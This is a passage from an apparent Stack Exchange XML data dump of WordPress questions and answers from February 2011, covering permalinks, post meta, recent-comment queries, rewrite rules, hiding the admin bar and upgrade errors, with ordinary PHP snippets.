$i++;&#xA;       } else { $i = 5;}&#xA;    } while ($i&amp;lt;=5);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;links.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;Link Name: &amp;lt;input type=&quot;text&quot; name=&quot;link&amp;lt;?php echo $i; ?&amp;gt;&quot; id=&quot;link&amp;lt;?php echo $i; ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $i; ?&amp;gt;&quot; /&amp;gt; URL: &amp;lt;input type=&quot;text&quot; name=&quot;url&amp;lt;?php echo $i; ?&amp;gt;&quot; id=&quot;url&amp;lt;?php echo $i; ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $i; ?&amp;gt;&quot; /&amp;gt;&amp;lt;input type=&quot;button&quot; class=&quot;addnew&quot; value=&quot;Add Link&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-07-24T02:27:22.500" Title="get_post_meta printing empty fields, but it shouldn't be" Tags="&lt;loop&gt;&lt;post-meta&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10241" PostTypeId="2" ParentId="9623" CreationDate="2011-02-23T22:38:17.203" Score="0" ViewCount="" Body="&lt;p&gt;Apologies for answering my own question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at [http://core.trac.wordpress.org/ticket/15031][1], seems like this is a known issue. I have fixed (hacked?) it to work using &lt;code&gt;post_filter&lt;/code&gt;, like so (just for anyone's reference who might be searching for the same answer):  &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;In functions.php###&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_orderby', 'EV_locationl1' );&#xA;function EV_locationl1 ($orderby) {&#xA;    global $EV_locationl1_orderby;&#xA;    if ($EV_locationl1_orderby) $orderby = $EV_locationl1_orderby;&#xA;    return $orderby;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Amended wp_query in template file###&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$EV_locationl1_orderby = &quot; mt1.meta_value ASC&quot;;&#xA;&#xA;$wp_query = new WP_Query( array (&#xA;    'post_type' =&amp;gt; 'listing',&#xA;    'posts_per_page' =&amp;gt; '9',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'meta_query' =&amp;gt; array(&#xA;            array(&#xA;                    'key' =&amp;gt; 'gateway_value',&#xA;                    'value' =&amp;gt; 'Yes',&#xA;                    'compare' =&amp;gt; '!='&#xA;                    ),&#xA;            array(&#xA;                    'key' =&amp;gt; 'location_level1_value'&#xA;            )&#xA;        ),&#xA;    'order' =&amp;gt; $EV_locationl1_orderby,&#xA;    'paged' =&amp;gt; $paged&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-02-23T22:38:17.203" />
  <row Id="10242" PostTypeId="1" AcceptedAnswerId="10243" CreationDate="2011-02-23T22:59:55.560" Score="0" ViewCount="92" Body="&lt;p&gt;I'm trying to help a buddy out -- his site, on a fresh wordpress install, is behaving oddly.   With default permalinks set, everything works, but with pretty permalinks set up, all of the pages on the nav bar load as the home page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you hover over them, the links are still in the original (?page_idX) form....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hosting is godaddy and they are singularly unhelpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Martin&lt;/p&gt;&#xA;" OwnerUserId="3444" LastActivityDate="2011-02-23T23:13:32.427" Title="Pretty Permalinks Just Load &quot;Home&quot;" Tags="&lt;permalinks&gt;&lt;redirect&gt;" AnswerCount="1" />
  <row Id="10243" PostTypeId="2" ParentId="10242" CreationDate="2011-02-23T23:13:32.427" Score="0" ViewCount="" Body="&lt;p&gt;In my experience, GoDaddy has been notorious for problems while setting up pretty permalinks for the first time. Are you working with a Windows or Linux GoDaddy server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following sites may be of some help, but from what I've read you may need to have somebody at GoDaddy make changes for you if you do not have sufficient privileges. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wpressurecooker.com/permalinks/2009/08/24/pretty-permalinks-with-godaddy-windows-hosting/&quot; rel=&quot;nofollow&quot;&gt;http://www.wpressurecooker.com/permalinks/2009/08/24/pretty-permalinks-with-godaddy-windows-hosting/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://wordpress.org/support/topic/pretty-permalink-trouble&quot; rel=&quot;nofollow&quot;&gt;https://wordpress.org/support/topic/pretty-permalink-trouble&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bbpress.org/forums/topic/pretty-permalinks-not-working&quot; rel=&quot;nofollow&quot;&gt;http://bbpress.org/forums/topic/pretty-permalinks-not-working&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-02-23T23:13:32.427" CommentCount="1" />
  <row Id="10244" PostTypeId="2" ParentId="10239" CreationDate="2011-02-23T23:17:02.867" Score="1" ViewCount="" Body="&lt;p&gt;I don't use widgets for this as you can easily create one and use &lt;code&gt;get_comments( $args );&lt;/code&gt; for the most cases for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;10 last comments by page is :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;        'post_id' =&amp;gt; $post_id,&#xA;        'number' =&amp;gt; 10,&#xA;        'status' =&amp;gt; 'approve');&#xA;&#xA;$comments = get_comments($args);&#xA;foreach($comments as $comment) :&#xA;    echo($comment-&amp;gt;comment_author . '&amp;lt;br /&amp;gt;' . $comment-&amp;gt;comment_content);&#xA;endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if you are not into the coding stuff you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/wizzart-recent-comments/&quot; rel=&quot;nofollow&quot;&gt;Wizzart - Recent Comments&lt;/a&gt;&#xA;plugin that does pretty much what you need.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;following comment: to &lt;strong&gt;get 10 last comments of a category and excluding the admin&lt;/strong&gt; comments i only know of a custom sql query to get that results, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            global $wpdb;&#xA;            $cat_id = 4; //category id&#xA;            $number = 10; // number of comments to get&#xA;            $filter_admin = &quot; AND user_ID != '1'&quot;; //exclude admin comments or any user by id&#xA;            $comments_types = &quot;AND ( comment_type != 'trackback' AND comment_type != 'pingback')&quot;; // get only user comments&#xA;            $term_rel = $wpdb-&amp;gt;term_relationships;&#xA;            $comments_filter = &quot;JOIN (&quot;.$term_rel.&quot; JOIN &quot;.$wpdb-&amp;gt;term_taxonomy.&quot; ON (&quot;.$wpdb-&amp;gt;term_taxonomy.&quot;.term_taxonomy_id=&quot;.$term_rel.&quot;.term_taxonomy_id))&quot;;&#xA;            $comments_filter .= &quot;ON (&quot;.$wpdb-&amp;gt;comments.&quot;.comment_post_ID=&quot;.$term_rel.&quot;.object_ID)&quot;;&#xA;            $comments_filter .= &quot;WHERE &quot;.$wpdb-&amp;gt;term_taxonomy.&quot;.term_id=&quot;.$cat_id.&quot; AND &quot;.$wpdb-&amp;gt;term_taxonomy.&quot;.taxonomy='category' &quot;;&#xA;            $comments_filter .= $comments_types;&#xA;            $query = &quot;SELECT * FROM $wpdb-&amp;gt;comments &quot;; &#xA;            $query .= $comments_filter; &#xA;            $query .= &quot; AND comment_approved='1'$filter_admin&quot;;&#xA;            $query .= &quot;ORDER BY comment_date DESC LIMIT $number&quot;; &#xA;            $comments = $wpdb-&amp;gt;get_results($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-24T00:03:25.097" LastActivityDate="2011-02-24T00:03:25.097" CommentCount="5" />
  <row Id="10245" PostTypeId="1" CreationDate="2011-02-23T23:28:00.787" Score="0" ViewCount="160" Body="&lt;p&gt;I have two widgets in right hand sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very basic site. &#xA;Besides home (originally just a single post), I have three pages in the top navigation - (Events, About, Contact); Events has a drop-down page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The widgets were showing on all posts and pages until I decided to create a static home page with a separate blog with posts (shown on top nav bar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the widgets are not showing on the Home page and the Drop-down page on Events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The widgets are showing on all other pages and posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions as to why this is happening and how I can make the widgets show on all the pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3447" LastActivityDate="2011-02-23T23:28:00.787" Title="Widgets have disappeared from Home page sidebar and one other page after upgrading" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;homepage&gt;" CommentCount="5" />
  <row Id="10246" PostTypeId="2" ParentId="10238" CreationDate="2011-02-23T23:31:19.597" Score="2" ViewCount="" Body="&lt;p&gt;If the template is using the permalink when generating the posts, it retrieves all the categories for a given post and then grabs the first category it gets after sorting them by Id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see two ways around this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to recreate your categories with the preferred order, then you should be set. However, if you have a lot of posts in the system, this would be a hassle.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modify the template to generate your own links. When retrieving the category for the link, if multiple exist, you'll want to use the one that matches the category of the URL you are currently viewing the page in. You can use the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/link-template.php&quot; rel=&quot;nofollow&quot;&gt;source code of the get_permalink method as a&lt;/a&gt; way to get started.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2011-02-23T23:31:19.597" />
  <row Id="10247" PostTypeId="1" CreationDate="2011-02-23T23:31:37.303" Score="0" ViewCount="122" Body="&lt;p&gt;It is possible to use the function &lt;strong&gt;update_post_meta&lt;/strong&gt; on &lt;strong&gt;older post?&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have + 1000 posts and I need to update posts using update_post_meta but I'm affraid to do it one by one. Is there a simple way to &lt;strong&gt;refresh all posts&lt;/strong&gt; with some function?&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2011-02-24T00:17:41.443" Title="Use update_post_meta to older posts" Tags="&lt;custom-field&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10248" PostTypeId="1" CreationDate="2011-02-23T23:36:53.003" Score="0" ViewCount="152" Body="&lt;p&gt;I just upgraded 2 of my blogs to 3.1 - first one went just fine - second one is fine on the front end but now gives me a 500 error when i try to look at my admin panel. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3449" LastActivityDate="2011-03-26T19:38:23.173" Title="just installed 3.1 on my second blog - getting 500 error on admin panel" Tags="&lt;3.1&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="10249" PostTypeId="2" ParentId="10235" CreationDate="2011-02-23T23:45:28.747" Score="2" ViewCount="" Body="&lt;p&gt;From the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: When using 'some string' to show&#xA;  as a submenu of a menu page created by&#xA;  a plugin, this item will become the&#xA;  first submenu item, and replace the&#xA;  location of the top level link. If&#xA;  this isn't desired, the plugin that&#xA;  creates the menu page needs to set the&#xA;  add_action priority for admin_menu to&#xA;  9 or lower.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So on you &lt;code&gt;add_action('admin_menu',array($this,'_wp_admin_menu'));&lt;/code&gt; set priority to 9 or lower like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu',array($this,'_wp_admin_menu'),2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you should be set.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-23T23:45:28.747" />
  <row Id="10250" PostTypeId="2" ParentId="3727" CreationDate="2011-02-23T23:56:55.617" Score="0" ViewCount="" Body="&lt;p&gt;They're saying: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;If there is a plugin that you feel is a must-have and would benefit users on WordPress.com, then please let us know using our contact form! Tell us what plugin you want, where it can be downloaded and most importantly, why you think it should be included on WordPress.com.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any luck on that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just wanted to have flash content on my blog as I'm a photographer and I want to have my pictures in flash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm planning to upgrade and pay for my own domain via wordpress.com but now I'm hesitant without the ability to get flash albums.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-23T23:56:55.617" />
  <row Id="10252" PostTypeId="2" ParentId="10247" CreationDate="2011-02-24T00:10:10.533" Score="1" ViewCount="" Body="&lt;p&gt;take a look at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/10140/automatic-refresh-all-posts-at-once/10143#10143&quot;&gt;Automatic Refresh all posts at once&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;its about the same question and the answer will do for you too.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-24T00:10:10.533" />
  <row Id="10254" PostTypeId="2" ParentId="10195" CreationDate="2011-02-24T00:38:43.760" Score="0" ViewCount="" Body="&lt;p&gt;Did you upgrade to the just released WordPress 3.1 as part of the migration? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, people are having problems, which seem to be caused by plugin compatibility issues: Simple Tags, Top Level Categories and Multipage Toolkit have all been mentioned on &lt;a href=&quot;http://wordpress.org/support/topic/upgraded-to-31-now-my-permalinks-dont-work/page/2?replies=33#post-1958909&quot; rel=&quot;nofollow&quot;&gt;this support forum thread&lt;/a&gt; (note the link is to page 2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to follow the &lt;a href=&quot;http://dre.im/if-pages-return-a-404-after-wordpress-3-1-upgrade/&quot; rel=&quot;nofollow&quot;&gt;instructions by Dre Armeda&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't upgraded to 3.1, it may still be worth following Dre's instructions, as it will rebuild your permalinks and that could be part of the problem. Aside from that, we'd need some more information on your setup, the version of WordPress, the plugins you're running, etc.&lt;/p&gt;&#xA;" OwnerUserId="2518" LastActivityDate="2011-02-24T00:38:43.760" CommentCount="10" />
  <row Id="10255" PostTypeId="2" ParentId="10230" CreationDate="2011-02-24T01:10:13.290" Score="0" ViewCount="" Body="&lt;p&gt;just change &lt;code&gt;$artist_links = $custom[&quot;artist_links&quot;][0];&lt;/code&gt; in your loop to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$artist_links = '&amp;lt;a href=&quot;'.$custom['artist_links'][0].'&quot;&amp;gt;'.get_the_title($post-&amp;gt;ID).'&amp;lt;/a&amp;gt;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-24T01:10:13.290" CommentCount="1" />
  <row Id="10256" PostTypeId="2" ParentId="10240" CreationDate="2011-02-24T01:10:18.567" Score="1" ViewCount="" Body="&lt;p&gt;The get_post_meta function returns an empty string if the key has not yet been set. That means the unused fields are going to result in $link having a value of '', NOT a value of NULL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The isset function returns TRUE if the variable exists and has value other than NULL. As $link is not NULL (it's ''), isset will return TRUE and your code will run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you should use empty instead of isset, although for some reason, I typically use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($link) &amp;amp;&amp;amp; $link != '')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2518" LastActivityDate="2011-02-24T01:10:18.567" />
  <row Id="10257" PostTypeId="2" ParentId="10219" CreationDate="2011-02-24T01:25:36.517" Score="0" ViewCount="" Body="&lt;p&gt;Check the metabox global directly? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$wp_meta_boxes['YOURTYPE']&lt;/code&gt; should hold data on metaboxes for a given type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had a quick look in &lt;code&gt;wp-admin/includes/template.php&lt;/code&gt; but i can't see any convenience functions for extracting metabox information from the array so you'll probably need to create your own code to loop over or extract the necessary info from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course make sure you run your code after the &lt;code&gt;add_meta_boxes&lt;/code&gt; actions(else they'll likely not exist at the point you run your code).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-24T01:25:36.517" CommentCount="2" />
  <row Id="10258" PostTypeId="2" ParentId="9419" CreationDate="2011-02-24T01:30:51.723" Score="5" ViewCount="" Body="&lt;p&gt;Simple, really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1: Stop using the rewrite parameter at all. We're going to roll your own rewrites.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite'=&amp;gt;false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Step 2: Set verbose page rules. This forces normal Pages to have their own rules instead of being a catch-all at the bottom of the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3: Create some rewrite rules to handle your use cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 4: Manually force a flush rules to happen. Easiest way: go to settings-&gt;permalink and click the save button. I prefer this over a plugin activation method for my own usage, since I can force the rules to flush whenever I change things around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, code time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function test_init() {&#xA;    // create a new taxonomy&#xA;    register_taxonomy(&#xA;        'forum',&#xA;        'post',&#xA;        array(&#xA;            'query_var' =&amp;gt; true,&#xA;            'public'=&amp;gt;true,&#xA;            'label'=&amp;gt;'Forum',&#xA;            'rewrite' =&amp;gt; false,&#xA;        )&#xA;    );&#xA;&#xA;    // force verbose rules.. this makes every Page have its own rule instead of being a &#xA;    // catch-all, which we're going to use for the forum taxo instead&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;use_verbose_page_rules = true;&#xA;&#xA;    // two rules to handle feeds&#xA;    add_rewrite_rule('(.+)/feed/(feed|rdf|rss|rss2|atom)/?$','index.php?forum=$matches[1]&amp;amp;feed=$matches[2]');&#xA;    add_rewrite_rule('(.+)/(feed|rdf|rss|rss2|atom)/?$','index.php?forum=$matches[1]&amp;amp;feed=$matches[2]');&#xA;&#xA;    // one rule to handle paging of posts in the taxo&#xA;    add_rewrite_rule('(.+)/page/?([0-9]{1,})/?$','index.php?forum=$matches[1]&amp;amp;paged=$matches[2]');&#xA;&#xA;    // one rule to show the forum taxo normally&#xA;    add_rewrite_rule('(.+)/?$', 'index.php?forum=$matches[1]');&#xA;}&#xA;&#xA;add_action( 'init', 'test_init' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember that after adding this code, you need to have it active when you go flush the permalink rules (by Saving the page on Settings-&gt;Permalinks)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've flushed the rules and saved to the database, then /whatever should go to your forum=whatever taxonomy page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rewrite rules really aren't that difficult if you understand regular expressions. I use this code to help me when debugging them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function test_foot() {&#xA;    global $wp_rewrite;&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;    var_dump($wp_rewrite-&amp;gt;rules);&#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;}&#xA;add_action('wp_footer','test_foot');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way, I can see the current rules at a glance on my page. Just remember that given any URL, the system starts at the top of the rules and goes down through them until it finds one that matches. The match is then used to rewrite the query into a more normal looking ?key=value set. Those keys get parsed into what goes into the WP_Query object. Simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Side note, this method will probably only work if your normal custom post structure starts with something that isn't a catchall, like %category% or some such thing like that. You need to start it with a static string or a numeric, like %year%. This is to prevent it catching your URL before it gets to your rules.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-02-24T01:39:08.927" LastActivityDate="2011-02-24T01:39:08.927" CommentCount="5" />
  <row Id="10259" PostTypeId="1" CreationDate="2011-02-24T02:11:57.337" Score="0" ViewCount="276" Body="&lt;p&gt;Please help, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After i upgrade to WP 3.1 just now, all my site menus not working, no drop down menu, and the jquery countdown not working. please help me.&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-29T18:57:57.500" LastActivityDate="2011-03-29T18:57:57.500" Title="Wordpress 3.1 makes my drop down menu dissapear, jquery dont work" Tags="&lt;jquery&gt;&lt;3.1&gt;" AnswerCount="1" />
  <row Id="10260" PostTypeId="2" ParentId="10236" CreationDate="2011-02-24T02:17:44.630" Score="5" ViewCount="" Body="&lt;p&gt;Add the following to your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Disable Admin Bar for all users&#xA;add_filter('show_admin_bar', '__return_false');&#xA;&#xA;// Remove Admin Bar Options from all users' Profile page&#xA;add_action('admin_print_scripts-profile.php', 'hide_admin_bar_prefs');&#xA;function hide_admin_bar_prefs() {&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;    .show-admin-bar { display: none; }&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2039" LastEditorUserId="2039" LastEditorDisplayName="" LastEditDate="2011-02-24T02:31:10.480" LastActivityDate="2011-02-24T02:31:10.480" />
  <row Id="10261" PostTypeId="2" ParentId="10236" CreationDate="2011-02-24T02:29:40.933" Score="1" ViewCount="" Body="&lt;p&gt;this is the simplest way. install showhide-adminbar. then all subscriber won't see the adminbar even they set to show it in viewing site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/showhide-adminbar/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/showhide-adminbar/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-02-24T02:29:40.933" />
  <row Id="10262" PostTypeId="1" AcceptedAnswerId="10404" CreationDate="2011-02-24T02:36:05.170" Score="0" ViewCount="419" Body="&lt;p&gt;What is the correct way to add a custom filter (a dropdown box in this case) to the admin user list (wp-admin/users.php)?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no filters or actions that I see to hook into that would allow me to output a select box.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can inject it via javascript, but I'm hoping there's a way to do it on the PHP side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am planning on using the results of that filter int as outlined here:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5811/&quot;&gt;How to search all user meta from users.php in the admin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3455" LastActivityDate="2011-04-26T04:41:36.597" Title="Add Custom Filter to Admin User list" Tags="&lt;users&gt;&lt;filters&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10263" PostTypeId="2" ParentId="7657" CreationDate="2011-02-24T02:37:21.587" Score="0" ViewCount="" Body="&lt;p&gt;I haven't tested this code, but I think it should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('mce_buttons','rw_mce_buttons');&#xA;function rw_mce_buttons($mce_buttons) {&#xA;    $mce_buttons[] = 'code';&#xA;&#xA;    return $mce_buttons;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-02-24T02:37:21.587" />
  <row Id="10264" PostTypeId="1" AcceptedAnswerId="10282" CreationDate="2011-02-24T02:57:11.680" Score="2" ViewCount="148" Body="&lt;p&gt;I have a WP site up and running for my wife and she attempted to install a text widget that linked to her Twitter account (she says HTML was taken from Twitter.com).  I am not sure exactly what she did or what was going on, but now she gets the following error when going to /wp-admin of the site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WordPress database error Array for query INSERT INTO `wp_options` (`option_name`, &#xA;`option_value`, `autoload`) VALUES ('widget_text', 'a:2:{i:2;a:0:{}&#xA;s:12:&quot;_multiwidget&quot;;i:1;}', 'yes') ON DUPLICATE KEY UPDATE `option_name` = VALUES\&#xA;(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES&#xA;(`autoload`)--SERIALIZED made by require_once, require_once, require_once, &#xA;require_once, do_action, call_user_func_array, wp_widgets_init, do_action, &#xA;call_user_func_array, WP_Widget_Factory-&amp;gt;_register_widgets, WP_Widget-&amp;gt;_register, &#xA;WP_Widget-&amp;gt;get_settings, wp_convert_widget_settings, update_option, add_option &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no idea what this even means.  I am running WP on a Windows Server 2008 installation with SQL Server 2008.  If you need more information, I will be glad to supply it.  I really am not sure how to recover her site from this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:  This site has been running fine for a month now and just now blew up after adding the text widget and adding the Twitter HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2: I found the offending JavaScript in the wp_options (widget_text) and removed it but am still receiving the same error listing on the admin page.&lt;/p&gt;&#xA;" OwnerUserId="3456" LastEditorUserId="3456" LastEditorDisplayName="" LastEditDate="2011-02-24T08:10:48.060" LastActivityDate="2011-02-24T09:02:02.173" Title="WP Database Error (Windows Server 2008 &amp; SQL Server)" Tags="&lt;wp-admin&gt;&lt;database&gt;&lt;errors&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="10265" PostTypeId="1" CreationDate="2011-02-24T03:05:36.330" Score="1" ViewCount="145" Body="&lt;p&gt;I want to use SSL for login/admin.  However, since I'm using a shared server, my web host only provides a shared SSL.  That means instead of &lt;code&gt;https://www.regular-domain.com&lt;/code&gt; I have to go to &lt;code&gt;https://servername.webhostname.com/~myusername/&lt;/code&gt;, which throws Wordpress off since it expects everything to be under the regular domain.&lt;/p&gt;&#xA;" OwnerUserId="3457" LastActivityDate="2011-02-24T07:29:27.600" Title="Using shared SSL for login/admin" Tags="&lt;admin&gt;&lt;login&gt;&lt;ssl&gt;" AnswerCount="1" />
  <row Id="10266" PostTypeId="2" ParentId="5451" CreationDate="2011-02-24T03:06:35.443" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;if ( !is_admin() ) {&#xA;function my_init_method() {&#xA;wp_deregister_script( 'l10n' );&#xA;}&#xA;add_action('init', 'my_init_method'); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;use the code above to deregister l10n.js in function.php&lt;/p&gt;&#xA;" OwnerUserId="3458" LastActivityDate="2011-02-24T03:06:35.443" />
  <row Id="10267" PostTypeId="2" ParentId="1162" CreationDate="2011-02-24T03:24:55.593" Score="2" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't expect much from shared hosting--don't blame WordPress for slowness if you're on a shared host.  Shared hosts might cram 1000s of accounts into one server.  So you can spend all day optimizing a $10/month account and it won't matter.  Also watch out for marketing buzzwords--just because it says &quot;cloud&quot; or &quot;grid&quot; doesn't mean you're not sharing a server with 100s or 1000s of people.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Personally, I don't think cache plugins are necessary at this point.  If you look at the WP source code, there's already advanced caching baked into the core.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The only thing slowing you down (besides large media files) is slow MySQL queries, and WordPress out-of-the-box won't give you any trouble here.  (Although I had to &quot;LIMIT&quot; my comments, is this fixed in WP 3.x?)  If you're running into trouble with MySQL, it's probably a plugin that wasn't designed for high traffic.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I use a Linode 512 with NginX and &quot;top&quot; shows PHP and NginX doing their stuff  in less than 1 hundredth of a second per request.  Most of my 